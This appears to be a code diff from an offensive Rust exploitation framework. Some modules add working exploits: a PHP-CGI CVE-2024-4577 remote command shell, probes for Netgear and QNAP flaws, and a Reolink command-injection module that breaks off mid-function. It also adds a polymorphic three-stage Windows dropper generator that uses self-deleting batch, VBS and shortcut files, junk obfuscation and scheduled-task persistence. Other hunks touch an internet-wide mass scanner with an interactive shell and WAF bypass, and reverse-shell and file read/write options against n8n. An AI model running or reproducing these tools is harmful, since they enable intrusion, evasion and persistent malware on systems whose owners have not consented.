pub mod vmware;
pub mod telnet;
pub mod bluetooth;
pub mod tenda;
pub mod reolink;
pub mod qnap;
pub mod netgear;
pub mod ubiquiti;
pub mod zyxel;
+1 -1
View File
@@ -147,7 +147,7 @@ async fn send_probe(addr: &str, doc_len: u32, buffer_size: u32) -> Result<Vec<Ve
response.extend_from_slice(&buf[..n]);
// If we got enough for header, check length and read remainder
while response.len() < 4 || (response.len() >= 4 && response.len() < u32::from_le_bytes(response[0..4].try_into().unwrap()) as usize) {
while response.len() < 4 || (response.len() >= 4 && response.len() < u32::from_le_bytes(response[0..4].try_into().unwrap_or([0,0,0,0])) as usize) {
let n = stream.read(&mut buf).await?;
if n == 0 { break; }
response.extend_from_slice(&buf[..n]);
@@ -531,8 +531,8 @@ pub async fn run(target: &str) -> Result<()> {
// Get credentials
println!("{}", "[*] n8n Authentication Required".cyan());
let email = prompt_input("Email: ").await?;
let password = prompt_input("Password: ").await?;
let email = prompt_input("Email: ")?;
let password = prompt_input("Password: ")?;
if email.is_empty() || password.is_empty() {
return Err(anyhow!("Email and password are required"));
@@ -555,12 +555,12 @@ pub async fn run(target: &str) -> Result<()> {
println!(" {} Reverse shell", "6.".bold());
println!();
let choice = prompt_input("Select option [1-6]: ").await?;
let choice = prompt_input("Select option [1-6]: ")?;
let success = match choice.as_str() {
"1" => client.exploit_info().await?,
"2" => {
let cmd = prompt_input("Enter command to execute: ").await?;
let cmd = prompt_input("Enter command to execute: ")?;
if cmd.is_empty() {
return Err(anyhow!("Command cannot be empty"));
}
@@ -568,23 +568,23 @@ pub async fn run(target: &str) -> Result<()> {
}
"3" => client.exploit_env().await?,
"4" => {
let filepath = prompt_input("Enter file path to read: ").await?;
let filepath = prompt_input("Enter file path to read: ")?;
if filepath.is_empty() {
return Err(anyhow!("File path cannot be empty"));
}
client.exploit_read_file(&filepath).await?
}
"5" => {
let filepath = prompt_input("Enter file path to write: ").await?;
let content = prompt_input("Enter content to write: ").await?;
let filepath = prompt_input("Enter file path to write: ")?;
let content = prompt_input("Enter content to write: ")?;
if filepath.is_empty() {
return Err(anyhow!("File path cannot be empty"));
}
client.exploit_write_file(&filepath, &content).await?
}
"6" => {
let lhost = prompt_input("Enter your listener IP (LHOST): ").await?;
let lport_str = prompt_input("Enter your listener port (LPORT): ").await?;
let lhost = prompt_input("Enter your listener IP (LHOST): ")?;
let lport_str = prompt_input("Enter your listener port (LPORT): ")?;
let lport: u16 = lport_str
.parse()
.map_err(|_| anyhow!("Invalid port number"))?;
+1
View File
@@ -0,0 +1 @@
pub mod netgear_r6700v3_rce_cve_2022_27646;
@@ -0,0 +1,90 @@
use anyhow::Result;
use colored::*;
use tokio::net::TcpStream;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target, prompt_port};
/// Netgear R6700v3 Pre-Auth RCE via Circled Daemon (CVE-2022-27646)
///
/// Exploits a buffer overflow in `/bin/circled` when fetching `circleinfo.txt`.
/// This is a WAN-side pre-authentication vulnerability.
///
/// Based on Pwn2Own Austin 2021 exploit by Synacktiv.
/// Target: TCP port 8888/8889/8890 (circled daemon)
pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_ip = if target.is_empty() {
prompt_required("Target IP")?
} else {
target.to_string()
};
let target_ip = normalize_target(&raw_ip)?;
// Circled listens on ports 8888, 8889, 8890
let port: u16 = prompt_port("Target port (8888/8889/8890)", 8888)?;
let target_addr = format!("{}:{}", target_ip, port);
println!("{} Target: {}", "[*]".blue(), target_addr);
println!("{} Checking if circled daemon is accessible...", "[*]".blue());
// Try to connect to the circled daemon
let connect_result = tokio::time::timeout(
Duration::from_secs(10),
TcpStream::connect(&target_addr)
).await;
match connect_result {
Ok(Ok(mut stream)) => {
println!("{} Connected to circled daemon!", "[+]".green());
// The vulnerability is triggered when circled fetches circleinfo.txt
// from a malicious server. For detection, we check if the port is open
// and potentially responsive.
// Send a probe to see if it responds
let probe = b"GET / HTTP/1.0\r\n\r\n";
if let Err(e) = stream.write_all(probe).await {
println!("{} Write failed: {} (daemon may be unresponsive)", "[*]".yellow(), e);
}
let mut buf = vec![0u8; 512];
match tokio::time::timeout(Duration::from_secs(5), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => {
let response = String::from_utf8_lossy(&buf[..n]);
println!("{} Response: {}", "[*]".blue(), response.chars().take(100).collect::<String>());
},
_ => {
println!("{} No response (expected - circled uses binary protocol)", "[*]".yellow());
}
}
println!();
println!("{} Port {} is open - circled may be running!", "[VULN]".red().bold(), port);
println!("{} Full exploitation requires:", "[*]".cyan());
println!(" 1. Set up a malicious web server hosting poisoned circleinfo.txt");
println!(" 2. Perform DNS poisoning or MITM to redirect circle.meetcircle.co");
println!(" 3. Trigger the buffer overflow via crafted circleinfo.txt");
println!();
println!("{} Reference: github.com/synacktiv/Netgear_Pwn2Own2021", "[*]".dimmed());
},
Ok(Err(e)) => {
println!("{} Connection failed: {}", "[-]".red(), e);
println!("{} Circled daemon may not be running or port is filtered.", "[*]".yellow());
},
Err(_) => {
println!("{} Connection timed out.", "[-]".red());
}
}
Ok(())
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Netgear R6700v3 Pre-Auth RCE (CVE-2022-27646) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
+1 -1
View File
@@ -112,7 +112,7 @@ async fn check_crlf(client: &Client, url: &str, findings: &mut Vec<String>) {
async fn check_purge(client: &Client, url: &str, findings: &mut Vec<String>) {
let target = format!("{}/test_purge", url);
if let Ok(resp) = client.request(reqwest::Method::from_bytes(b"PURGE").unwrap(), &target).send().await {
if let Ok(resp) = client.request(reqwest::Method::from_bytes(b"PURGE").expect("Valid method bytes"), &target).send().await {
if resp.status().as_u16() == 204 {
let msg = format!("PURGE method is enabled on {}. This might allow cache poisoning/clearing.", target);
println!("{}", format!("[!] {}", msg).red().bold());
@@ -28,8 +28,7 @@
use anyhow::{Context, Result};
use colored::*;
use crate::utils::validate_file_path;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use crate::utils::{validate_file_path, prompt_port};
use reqwest::Client;
use std::{
fs::File,
@@ -268,17 +267,7 @@ pub async fn run(target: &str) -> Result<()> {
} else {
let (host, default_port) = parse_target(target)?;
let mut port_input = String::new();
print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port_input)
.await
.context("Failed to read port input")?;
let port: u16 = port_input.trim().parse().unwrap_or(default_port);
let port: u16 = prompt_port("Enter target port", default_port)?;
let _ = check(&host, port, &client).await?;
}
+4 -5
View File
@@ -5,21 +5,20 @@ use rand::{seq::SliceRandom, rng};
use std::{
fs,
path::Path,
io::Write,
};
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
async fn prompt(prompt: &str) -> Result<String> {
print!("{}", prompt.cyan().bold());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut buffer = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut buffer)
.await
.context("Failed to read input")?;
Ok(buffer.trim().to_string())
}
+3 -5
View File
@@ -6,7 +6,7 @@ use std::{
io::Write,
path::Path,
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
/// Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure (CVE-2025-50154, CVE-2025-59214)
///
@@ -32,14 +32,12 @@ const BANNER: &str = r#"
async fn prompt(prompt: &str) -> Result<String> {
print!("{}", prompt.cyan().bold());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut buffer = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut buffer)
.await
.context("Failed to read input")?;
Ok(buffer.trim().to_string())
}
+1
View File
@@ -2,3 +2,4 @@ pub mod narutto_dropper;
pub mod batgen;
pub mod lnkgen;
pub mod payload_encoder;
pub mod polymorph_dropper;
@@ -1,12 +1,13 @@
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Refactored) ==
// Supports LOLBAS (Certutil, Bitsadmin, PowerShell) and enhanced Anti-VM
use anyhow::Result;
use anyhow::{Result, Context};
use colored::*;
use rand::{rng, seq::SliceRandom, seq::IndexedRandom, Rng};
use std::collections::HashMap;
use std::io::Write;
use tokio::fs::File as TokioFile;
use tokio::io::{AsyncWriteExt, AsyncBufReadExt};
use tokio::io::AsyncWriteExt;
// ==============================================================================
// Constants & Configuration
@@ -80,7 +81,7 @@ impl DropperContext {
// Prefix with 3 random letters
for _ in 0..3 {
name.push(*charset.choose(&mut rng).unwrap());
name.push(*charset.choose(&mut rng).expect("Charset empty"));
}
// Add random number suffix
@@ -241,7 +242,7 @@ fn build_stage1(
stage3_name: &str
) -> String {
let batch_var = ctx.get("diag_id");
let banner_text = BANNERS.choose(&mut rng()).unwrap();
let banner_text = BANNERS.choose(&mut rng()).expect("Banners empty");
let antivm = build_anti_vm(ctx);
// Create random decoy logic
@@ -340,9 +341,9 @@ pub fn print_welcome_naruto() {
async fn prompt(msg: &str, default: Option<&str>) -> Result<String> {
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
tokio::io::stdout().flush().await?;
std::io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut input).await?;
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let value = input.trim();
Ok(if value.is_empty() {
default.unwrap_or("").to_string()
@@ -0,0 +1,241 @@
use anyhow::{Result, Context};
use colored::*;
use crate::utils::validate_file_path;
use rand::{rng, Rng, prelude::IndexedRandom};
use std::fs;
use std::io::Write;
use std::fmt::Write as FmtWrite;
/// Polymorph 3-Stage Dropper
///
/// Generates a 3-stage payload chain to evade detection and persistence via Task Scheduler.
///
/// Flow:
/// 1. Dropper BAT (random name) -> Writes Stage 2 BAT + Schedules it
/// 2. Stage 2 BAT (random name) -> Writes VBS -> Creates LNK -> Schedules LNK
/// 3. Stage 3 LNK (random name) -> Executes final command
///
/// Features:
/// - Polymorphic variable names
/// - Random filenames
/// - Configurable delays (minutes/days)
/// - Non-root directory usage (%PUBLIC%\Libraries usually writable)
pub async fn run(_target: &str) -> Result<()> {
println!("{}", "=== Polymorph 3-Stage Dropper ===".cyan().bold());
println!("{}", "Generates a 3-stage payload chain using Task Scheduler for persistence/evasion.".yellow());
// 1. Get User Input
let command = prompt("[+] Final Command to Execute (e.g., calc.exe, powershell ...): ").await?;
let stage1_delay_str = prompt("[+] Stage 1 Delay (e.g., 1m, 2d): ").await?;
let stage2_delay_str = prompt("[+] Stage 2 Delay (e.g., 5m, 1d): ").await?;
let output_name = prompt("[+] Output Dropper Filename (e.g., dropper.bat): ").await?;
// Validate inputs
validate_file_path(&output_name, true)?;
// Parse delays
let delay1_mins = parse_delay(&stage1_delay_str)?;
let delay2_mins = parse_delay(&stage2_delay_str)?;
// Generate Random Names
let dropper_name = output_name.clone();
let stage2_bat_name = format!("{}.bat", random_string(8));
let stage3_lnk_name = format!("{}.lnk", random_string(8));
let vbs_helper_name = format!("{}.vbs", random_string(8));
// Task Names
let task1_name = format!("Update_{}", random_string(6));
let task2_name = format!("Sync_{}", random_string(6));
// Polymorphic Variables for obfuscation
let var_cmd = random_var();
let var_p1 = random_var();
println!();
println!("{}", "[*] Generating payload chain...".blue());
println!(" Stage 1: {} (Dropper) -> Task: {}", dropper_name, task1_name);
println!(" Stage 2: {} (Payload Gen) -> Task: {}", stage2_bat_name, task2_name);
println!(" Stage 3: {} (LNK Trigger) -> Command: {}", stage3_lnk_name, command);
println!(" Obfuscation vars: {}, {}", var_cmd, var_p1);
// --- GENERATE STAGE 2 CONTENT (The BAT that creates LNK) ---
// This BAT will be embedded inside Stage 1
// It needs to:
// 1. Create a VBS script
// 2. Run VBS to create LNK
// 3. Schedule the LNK
// Escape command for BAT/VBS/LNK nesting... this is tricky.
// LNK Target: cmd.exe
// LNK Args: /c start "" "command" (to hide window if possible) or just /c command
let lnk_target = "cmd.exe";
let lnk_args = format!("/c {}", command);
// We write a VBS script to generate the LNK because it is more reliable than pure BAT for LNKs
let vbs_content = format!(
r#"Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "{stage3_lnk_name}"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "{lnk_target}"
oLink.Arguments = "{lnk_args}"
oLink.WindowStyle = 7
oLink.Save"#,
stage3_lnk_name = stage3_lnk_name,
lnk_target = lnk_target,
lnk_args = lnk_args.replace("\"", "\"\"") // VBS string escaping
);
// Stage 2 BAT Content
// Be careful with escaping, this string will be echo'd by Stage 1 into a file
let task2_cmd = format!("cmd /c start /min \"\" \"%cd%\\{}\"", stage3_lnk_name);
// We inject the time calculation logic into Stage 2
let time_calc_loop = format!(
r#"for /f "usebackq delims=" %%T in (`powershell -Command "get-date (get-date).addMinutes({}) -Format HH:mm"`) do set "FUTURE_TIME=%%T""#,
delay2_mins
);
let stage2_content_raw = format!(
r#"@echo off
cd /d "%~dp0"
echo Creating shortcut helper...
(
{vbs_echo_lines}
) > "{vbs_name}"
cscript //nologo "{vbs_name}"
del "{vbs_name}" >nul 2>&1
echo Scheduling final trigger...
{time_calc_loop}
schtasks /create /sc ONCE /st %FUTURE_TIME% /tn "{task_name}" /tr "{task_cmd}" /f >nul 2>&1
if %errorlevel% neq 0 (
echo [!] Task creation failed. Admin rights might be needed or schedule time invalid.
echo [*] Fallback: Executing LNK immediately...
start "" "{lnk_name}"
)
del "%~f0" >nul 2>&1
"#,
vbs_echo_lines = vbs_content.lines().map(|l| format!("echo {}", l)).collect::<Vec<_>>().join("\n"),
vbs_name = vbs_helper_name,
time_calc_loop = time_calc_loop,
task_name = task2_name,
task_cmd = task2_cmd, // The command the task executes (run the LNK)
lnk_name = stage3_lnk_name
);
// --- GENERATE STAGE 1 CONTENT (The Dropper) ---
// Writes Stage 2 to a hidden/writable directory and schedules it.
// Target Dir: %PUBLIC%\Libraries (often writable and less checked than Temp)
let target_dir = "%PUBLIC%\\Libraries";
// Escaping Stage 2 content to be echo'd by Stage 1
// We need to escape special BAT chars like %, >, <, |, &
let stage2_escaped = escape_bat_echo(&stage2_content_raw);
let stage1_content = format!(
r#"@echo off
setlocal EnableDelayedExpansion
:: Polymorphic Junk
{junk_comments}
set "{v_dir}={target_dir}"
if not exist "!{v_dir}!" mkdir "!{v_dir}!"
cd /d "!{v_dir}!"
echo [*] Dropping Stage 2...
(
{stage2_lines}
) > "{stage2_file}"
echo [*] Scheduling Stage 2...
:: Calculate time {delay1} mins in future using PowerShell
for /f "usebackq delims=" %%T in (`powershell -Command "get-date (get-date).addMinutes({delay1}) -Format HH:mm"`) do set "FUTURE_TIME=%%T"
schtasks /create /sc ONCE /st !FUTURE_TIME! /tn "{task1_name}" /tr "cmd /c start /min \"\" \"!{v_dir}!\{stage2_file}\"" /f
echo [+] Dropper complete. Payload chain initiated.
timeout /t 3 >nul
del "%~f0" >nul 2>&1
"#,
junk_comments = generate_junk_comments(),
v_dir = random_var(), // Polymorphic variable for dir
target_dir = target_dir,
stage2_lines = stage2_escaped,
stage2_file = stage2_bat_name,
delay1 = delay1_mins,
task1_name = task1_name
);
// Write Dropper
fs::write(&dropper_name, stage1_content)
.with_context(|| format!("Failed to write dropper to {}", dropper_name))?;
println!("{}", format!("[+] Dropper written to: {}", dropper_name).green().bold());
println!("[*] Transfer this file to the target Windows machine.");
println!("[*] Note: The payload relies on 'schtasks' and 'powershell' (for time calc) being available.");
Ok(())
}
// Helpers
async fn prompt(text: &str) -> Result<String> {
print!("{}", text.cyan());
std::io::stdout().flush()?;
let mut buf = String::new();
std::io::stdin().read_line(&mut buf)?;
Ok(buf.trim().to_string())
}
fn parse_delay(input: &str) -> Result<u32> {
let lower = input.to_lowercase();
if let Some(mins) = lower.strip_suffix('m') {
mins.parse().context("Invalid minutes format")
} else if let Some(days) = lower.strip_suffix('d') {
let d: u32 = days.parse().context("Invalid days format")?;
Ok(d * 1440)
} else {
// Default to minutes if no suffix
input.parse().context("Invalid delay format (use '10m' or '2d')")
}
}
fn random_string(len: usize) -> String {
let charset = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
let mut rng = rng();
(0..len).map(|_| *charset.choose(&mut rng).unwrap() as char).collect()
}
fn random_var() -> String {
let charset = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
let mut rng = rng();
let len = rng.random_range(4..8);
(0..len).map(|_| *charset.choose(&mut rng).unwrap() as char).collect()
}
fn generate_junk_comments() -> String {
let mut rng = rng();
let count = rng.random_range(3..7);
let mut s = String::new();
for _ in 0..count {
writeln!(s, ":: {}", random_string(20)).unwrap();
}
s
}
fn escape_bat_echo(content: &str) -> String {
content.lines().map(|line| {
// Escape special chars for echo
let escaped = line.replace("%", "%%")
.replace("^", "^^")
.replace("&", "^&")
.replace("<", "^<")
.replace(">", "^>")
.replace("|", "^|")
.replace("(", "^(")
.replace(")", "^)");
format!("echo {}", escaped)
}).collect::<Vec<_>>().join("\n")
}
+112
View File
@@ -0,0 +1,112 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::io::Write;
use std::time::Duration;
// use crate::utils::{normalize_target, prompt_yes_no}; // standard utils if available, mimicking other modules
/// PHP CGI Argument Injection (CVE-2024-4577)
/// Exploit for PHP running on Windows via XAMPP or similar setups.
///
/// Credits:
/// - Discovered by Orange Tsai
/// - PoC logic based on watchTowr Labs
const DEFAULT_TIMEOUT_SECS: u64 = 10;
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Normalize target
let url = if target.starts_with("http://") || target.starts_with("https://") {
target.to_string()
} else {
format!("http://{}", target)
};
let url = url.trim_end_matches('/');
println!("[*] Target: {}", url.cyan());
// Prompt for check or exploit
println!();
println!("{}", "[*] Select operation mode:".cyan());
println!(" 1. Check vulnerability (safe)");
println!(" 2. Execute command (RCE)");
println!();
print!("{}", "Select option [1-2]: ".green());
use std::io::Write;
std::io::stdout().flush()?;
let mut choice = String::new();
std::io::stdin().read_line(&mut choice)?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
match choice.trim() {
"1" => check_vuln(&client, url).await?,
"2" => exploit(&client, url).await?,
_ => println!("{}", "[-] Invalid option".red()),
}
Ok(())
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ PHP CGI Argument Injection (CVE-2024-4577) ║".cyan());
println!("{}", "║ Target: Windows PHP (XAMPP etc.) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
async fn check_vuln(client: &Client, url: &str) -> Result<()> {
println!("{}", "[*] Checking for vulnerability...".yellow());
// Simple echo check
let exploit_url = format!("{}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", url);
let payload = "<?php echo 'VULNERABLE_CVE_2024_4577'; die; ?>";
let resp = client.post(&exploit_url)
.body(payload)
.send()
.await?;
let text = resp.text().await?;
if text.contains("VULNERABLE_CVE_2024_4577") {
println!("{}", "[+] Target seems VULNERABLE!".green().bold());
Ok(())
} else {
println!("{}", "[-] Target does not appear vulnerable.".red());
Ok(())
}
}
async fn exploit(client: &Client, url: &str) -> Result<()> {
println!("{}", "[*] Entering RCE mode...".yellow());
loop {
print!("{}", "php> ".green().bold());
std::io::stdout().flush()?;
let mut cmd = String::new();
std::io::stdin().read_line(&mut cmd)?;
let cmd = cmd.trim();
if cmd.is_empty() { continue; }
if cmd == "exit" || cmd == "quit" { break; }
let exploit_url = format!("{}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", url);
// We use system() to execute command
let payload = format!("<?php system('{}'); die; ?>", cmd);
match client.post(&exploit_url).body(payload).send().await {
Ok(resp) => {
let text = resp.text().await?;
println!("{}", text);
}
Err(e) => println!("[-] Request failed: {}", e),
}
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod cve_2024_4577;
+1
View File
@@ -0,0 +1 @@
pub mod qnap_qts_rce_cve_2024_27130;
@@ -0,0 +1,95 @@
use anyhow::{Result, Context};
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target, prompt_default};
use urlencoding;
/// QNAP QTS NAS Buffer Overflow RCE (CVE-2024-27130)
///
/// Exploits a stack buffer overflow in the `No_Support_ACL` function via `share.cgi`.
/// Requires a valid `ssid` parameter (obtained from a shared file link).
///
/// Affected: QNAP QTS, QuTScloud, QTS hero
/// Target: /cgi-bin/share.cgi
pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_ip = if target.is_empty() {
prompt_required("Target IP/URL")?
} else {
target.to_string()
};
let target_ip = normalize_target(&raw_ip)?;
let base_url = if target_ip.contains("://") {
target_ip.clone()
} else {
format!("http://{}", target_ip)
};
println!("{} Target: {}", "[*]".blue(), base_url);
// SSID is required - this is the session ID from a share link
let ssid = prompt_required("SSID (from shared file link)")?;
// The payload goes in the 'name' parameter
// For PoC purposes, we'll demonstrate the vulnerability check
// A real exploit would require crafting shellcode for the specific platform
let payload_size = prompt_default("Payload size (for buffer overflow test)", "1024")?;
let size: usize = payload_size.parse().unwrap_or(1024);
println!("{} Sending overflow test payload ({} bytes)...", "[*]".blue(), size);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(15))
.build()?;
// Construct the malicious 'name' parameter
let overflow_payload = "A".repeat(size);
// The vulnerable function is get_file_size which uses strcpy without bounds check
let url = format!(
"{}/cgi-bin/share.cgi?ssid={}&func=get_file_size&name={}",
base_url.trim_end_matches('/'),
urlencoding::encode(&ssid),
urlencoding::encode(&overflow_payload)
);
let res = client.get(&url)
.send()
.await
.context("Failed to send request")?;
let status = res.status();
let text = res.text().await.unwrap_or_default();
if status.is_server_error() || text.is_empty() {
println!("{} Server error or empty response - potential crash!", "[+]".green().bold());
println!("{} The target may be vulnerable to CVE-2024-27130.", "[VULN]".red().bold());
println!("{} For full RCE, craft architecture-specific shellcode.", "[*]".yellow());
} else if status.is_success() {
println!("{} Response received (HTTP {}).", "[*]".blue(), status);
println!("{} Response: {}", "[*]".dimmed(), text.chars().take(200).collect::<String>());
println!("{} Target may have patched the vulnerability or SSID is invalid.", "[*]".yellow());
} else {
println!("{} Unexpected response: HTTP {}", "[-]".red(), status);
}
println!();
println!("{} Note: Full exploitation requires:", "[*]".cyan());
println!(" - Valid SSID from a shared file link");
println!(" - Platform-specific ROP chain or shellcode");
println!(" - QNAP QTS < 5.1.7.2770 / QuTS hero < h5.1.7.2770");
Ok(())
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ QNAP QTS Buffer Overflow RCE (CVE-2024-27130) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
+37 -26
View File
@@ -27,12 +27,14 @@ use std::net::{IpAddr, Ipv4Addr};
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
use std::io::Write;
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use chrono::Local;
use std::io::BufRead;
const DEFAULT_TIMEOUT_SECS: u64 = 30;
const BOUNDARY: &str = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
@@ -519,6 +521,23 @@ async fn run_mass_scan() -> Result<()> {
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
std::io::stdout().flush()?;
let mut excl_choice = String::new();
std::io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: react2shell_hits.txt): ".cyan());
std::io::stdout().flush()?;
@@ -551,14 +570,6 @@ async fn run_mass_scan() -> Result<()> {
custom_cmd = custom_cmd.trim().to_string();
}
let custom_cmd = Arc::new(custom_cmd);
let mut exclusions = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
let exclusions = Arc::new(exclusions);
let client = Client::builder()
.danger_accept_invalid_certs(true)
@@ -596,7 +607,7 @@ async fn run_mass_scan() -> Result<()> {
});
loop {
let permit = semaphore.clone().acquire_owned().await.unwrap();
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cl = client.clone();
let chk = checked.clone();
@@ -660,15 +671,15 @@ async fn interactive_shell(client: &Client, url: &str, config: &ExploitConfig) -
let username = test_result.command_output.as_ref().map(|s| s.trim().to_string()).unwrap_or_else(|| "unknown".to_string());
println!("[+] Connected as {}", username);
let stdin = tokio::io::stdin();
let mut reader = BufReader::new(stdin);
let stdin = std::io::stdin();
let mut reader = stdin.lock();
let mut line = String::new();
loop {
print!("shell> ");
std::io::stdout().flush()?;
line.clear();
if reader.read_line(&mut line).await.is_err() { break; }
if reader.read_line(&mut line).is_err() { break; }
let cmd = line.trim();
if cmd == "exit" { break; }
if !cmd.is_empty() {
@@ -681,7 +692,7 @@ async fn interactive_shell(client: &Client, url: &str, config: &ExploitConfig) -
Ok(())
}
async fn prompt_yes_no(msg: &str, default: bool) -> Result<bool> {
fn prompt_yes_no(msg: &str, default: bool) -> Result<bool> {
print!("{} (y/n): ", msg);
std::io::stdout().flush()?;
let mut input = String::new();
@@ -691,7 +702,7 @@ async fn prompt_yes_no(msg: &str, default: bool) -> Result<bool> {
Ok(input == "y" || input == "yes")
}
async fn prompt_default(msg: &str, default: &str) -> Result<String> {
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::stdout().flush()?;
let mut input = String::new();
@@ -700,7 +711,7 @@ async fn prompt_default(msg: &str, default: &str) -> Result<String> {
if input.is_empty() { Ok(default.to_string()) } else { Ok(input) }
}
async fn prompt(msg: &str) -> Result<String> {
fn prompt(msg: &str) -> Result<String> {
print!("{}: ", msg);
std::io::stdout().flush()?;
let mut input = String::new();
@@ -709,7 +720,7 @@ async fn prompt(msg: &str) -> Result<String> {
}
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
print_banner();
@@ -721,18 +732,18 @@ pub async fn run(target: &str) -> Result<()> {
config.target = base_url.clone();
// Use prompt functions to configure options
config.windows_mode = prompt_yes_no("Target is Windows?", false).await?;
config.waf_bypass = prompt_yes_no("Enable WAF bypass (large payload)?", false).await?;
config.random_agent = prompt_yes_no("Use random User-Agent?", true).await?;
config.verbose = prompt_yes_no("Verbose output?", false).await?;
config.windows_mode = prompt_yes_no("Target is Windows?", false)?;
config.waf_bypass = prompt_yes_no("Enable WAF bypass (large payload)?", false)?;
config.random_agent = prompt_yes_no("Use random User-Agent?", true)?;
config.verbose = prompt_yes_no("Verbose output?", false)?;
let timeout_str = prompt_default("Timeout (seconds)", "30").await?;
let timeout_str = prompt_default("Timeout (seconds)", "30")?;
config.timeout = timeout_str.parse().unwrap_or(30);
let path = prompt_default("Target path", "/").await?;
let path = prompt_default("Target path", "/")?;
config.target_path = path;
let proxy_str = prompt_default("Proxy (leave empty for none)", "").await?;
let proxy_str = prompt_default("Proxy (leave empty for none)", "")?;
config.proxy = if proxy_str.is_empty() { None } else { Some(proxy_str) };
let full_url = format!("{}{}", base_url, config.target_path);
@@ -749,7 +760,7 @@ pub async fn run(target: &str) -> Result<()> {
println!(" {} Interactive shell", "4.".bold());
println!(" {} Diagnostics (show config)", "5.".bold());
let choice = prompt("Select option [1-5]").await?;
let choice = prompt("Select option [1-5]")?;
match choice.as_str() {
"1" => {
@@ -777,7 +788,7 @@ pub async fn run(target: &str) -> Result<()> {
}
}
"3" => {
let cmd = prompt("Enter command to execute").await?;
let cmd = prompt("Enter command to execute")?;
if cmd.is_empty() {
println!("{}", "[-] Command cannot be empty".red());
return Ok(());
+1
View File
@@ -0,0 +1 @@
pub mod reolink_rce_cve_2019_11001;
@@ -0,0 +1,98 @@
use anyhow::{Result, Context};
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target, prompt_default};
use urlencoding::encode;
/// Reolink Camera Authenticated Command Injection (CVE-2019-11001)
///
/// Exploits an authenticated OS command injection in the `TestEmail` functionality.
/// Affected Models: RLC-410W, C1 Pro, C2 Pro, RLC-422W, RLC-511W (Firmware <= 1.0.227).
///
/// Parameter: `addr1` in `TestEmail` command.
pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_ip = if target.is_empty() {
prompt_required("Target IP")?
} else {
target.to_string()
};
let target_ip = normalize_target(&raw_ip)?;
// Default HTTP/HTTPS?
